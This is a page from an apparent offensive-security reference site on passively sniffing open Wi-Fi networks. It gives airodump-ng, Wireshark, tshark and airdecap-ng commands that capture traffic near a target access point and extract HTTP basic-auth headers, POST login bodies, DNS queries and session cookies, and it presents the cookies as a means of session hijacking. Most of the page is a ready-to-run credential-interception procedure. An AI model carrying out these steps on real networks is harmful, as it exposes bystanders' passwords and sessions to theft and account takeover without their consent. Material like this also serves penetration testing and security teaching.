# Capturing Plaintext Traffic on Open Networks

> Demonstrates sniffing unencrypted 802.11 traffic on open Wi-Fi using passive capture tools to intercept credentials, sessions, and sensitive data in transit.

- **URL:** https://hackindex.io/platforms/wireless/exploitation/capturing-plaintext-traffic-open-networks
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-08-11

Open wireless networks transmit all data frames without encryption. Any adapter in monitor mode on the same channel receives every frame from every client without any decryption step. The capture is entirely passive and produces no traffic on the network.

Data types visible in plaintext on open networks:

- HTTP requests, responses, and form submissions (including credentials)
- DNS queries and responses (maps client activity to domains)
- FTP, SMTP, POP3, IMAP credentials and data
- Session cookies transmitted over HTTP (enables session hijacking)
- Any other unencrypted application protocol

Confirm the target network is open before proceeding. See the open network detection page if needed.

## Capture Plaintext Wireless Traffic on the Target Channel

Lock to the target AP channel and write a capture file:

```bash
airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 --write open-capture wlan0mon
```

Let this run for at least several minutes on an active network. The `#Data` counter in airodump-ng shows how many data frames have been captured. A low count means few clients or low activity: wait longer or return during peak usage hours.

## Open the Capture in Wireshark

```bash
wireshark open-capture-01.cap
```

Filter for HTTP traffic to find plaintext web requests:

```
http
```

Filter for HTTP POST requests which commonly carry login form submissions:

```
http.request.method == "POST"
```

Follow a TCP stream from any HTTP frame to read the full request and response including any form data: right-click a packet and select Follow > TCP Stream.

## Extract Credentials with tshark

Search the capture for HTTP basic authentication headers:

```bash
tshark -r open-capture-01.cap -Y "http.authorization" -T fields -e http.authorization
```

Extract all HTTP POST request bodies:

```bash
tshark -r open-capture-01.cap -Y "http.request.method==POST" -T fields -e http.file_data
```

Extract all DNS queries to map what services clients are using:

```bash
tshark -r open-capture-01.cap -Y "dns.flags.response==0" -T fields -e dns.qry.name | sort -u
```

## Extract HTTP Cookies

Session cookies transmitted over HTTP allow session hijacking without needing the original credentials:

```bash
tshark -r open-capture-01.cap -Y "http.cookie" -T fields -e ip.src -e http.host -e http.cookie
```

## Capture Live with tshark Directly

For real-time extraction without saving to file first:

```bash
tshark -i wlan0mon -Y "http.request.method==POST" -T fields -e ip.src -e http.host -e http.file_data
```

## Decrypt Frames with airdecap-ng

For open networks with no encryption, airdecap-ng strips the 802.11 headers and produces a standard pcap that any tool can read without needing 802.11 awareness:

```bash
airdecap-ng -b AA:BB:CC:DD:EE:FF open-capture-01.cap
# Total number of packets read            4821
# Total number of packets written         3204
```

This produces `open-capture-01-dec.cap` containing only the decapsulated Layer 3 and above frames. Feed this into any standard network analysis tool that does not understand 802.11 encapsulation.

## References

- [Wireshark: HTTP display filter reference](https://www.wireshark.org/docs/dfref/h/http.html) - HTTP field names for credential and cookie extraction
- [Aircrack-ng: airdecap-ng documentation](https://www.aircrack-ng.org/doku.php?id=airdecap-ng) - Stripping 802.11 headers from open and encrypted captures